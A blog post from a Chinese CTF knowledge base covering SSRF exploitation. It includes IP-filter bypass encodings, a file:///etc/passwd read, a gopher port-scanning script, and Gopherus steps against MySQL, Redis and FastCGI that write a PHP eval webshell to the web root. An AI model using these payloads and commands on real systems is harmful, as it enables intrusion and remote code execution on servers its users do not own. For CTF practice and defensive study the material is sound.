CTF知识集-SSRF

写在开头可能用到的提示

  • SSRF入口也可以尝试读文件,例如file:///etc/passwd
  • 127.0.0.1/localhost可以用127.1 | 127.0.1 来表示,做题的还可能可以用http://0 来访问本地
  • 如果过滤ip,可以尝试使用进制转换来绕过,例如: 127(10) -> 0177(8) -> 0x7f(16)
    127.0.0.1的各种进制
    - 2130706433 10进制 http://2130706433
    - 017700000001 8进制 http://017700000001
    - 7F000001 16进制 http://0x7F000001
  • 特殊符号字母在linux下也能表示数字和字母,例如ping ①②⑦.①,表示的是ping本地
    ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
  • http://ctf.@127.0.0.1/flag.php#.show 这里表示的还是解析127.0.0.1/flag.php

工具

Gopherus(打本机端口)

GITHUB: https://github.com/tarunkant/Gopherus
git clone下载命令: git clone https://github.com/tarunkant/Gopherus.git
运行环境: python2

原理

如果本机开启了80 3306 6379等端口,如果存在SSRF,那么可以本机访问gopher://127.0.0.1:3306,如果存在端口,访问会延迟一下
扫端口脚本

import requests


url= "http://aa54a271-a145-4207-b6f6-ed9af4a8d0f0.challenges.ctfer.com:8080/"

ports = [80,9000,8088]

address=['10.0.1.188']

for adr in address:
    for p in ports:
        data={
            "url":f"gopher://{adr}:{p}/"
        }
        try:
            response = requests.post(url=url,data=data,timeout=2)
        except Exception as e:
            print(data) 

3306端口攻击

  • 进入目录,不知道参数可以python gopherus.py -h
  • python gopherus.py --exploit mysql
  • 输入数据库的用户名(root)和payload,payload可以用

    select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php';

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    要url编码!

6379端口 redis

  • 进入目录,不知道参数可以python gopherus.py -h
  • python gopherus.py --exploit redis
  • 输入PHPShell,然后输入网站默认目录,然后输入一句话木马,最后会生成shell.php在网站根目录
  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    要url编码!

9000端口 Fastcgi

  • 进入目录,不知道参数可以python gopherus.py -h
  • python gopherus.py --exploit fastcgi
  • 输入已经存在的文件,例如/var/www/html/index.php
  • 然后输入要执行的系统命令,这里是写马,路径是写到/var/www/html/shell.php,POST传参cmd

    echo PD89ZXZhbCgkX1BPU1RbY21kXSk7Pz4= |base64 -d > /var/www/html/shell.php

  • 生成的pyload就可以去注入传参,要注意生成的payload的_后面要urlencode(编码后有很多%25这些就是了)
    要url编码!
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇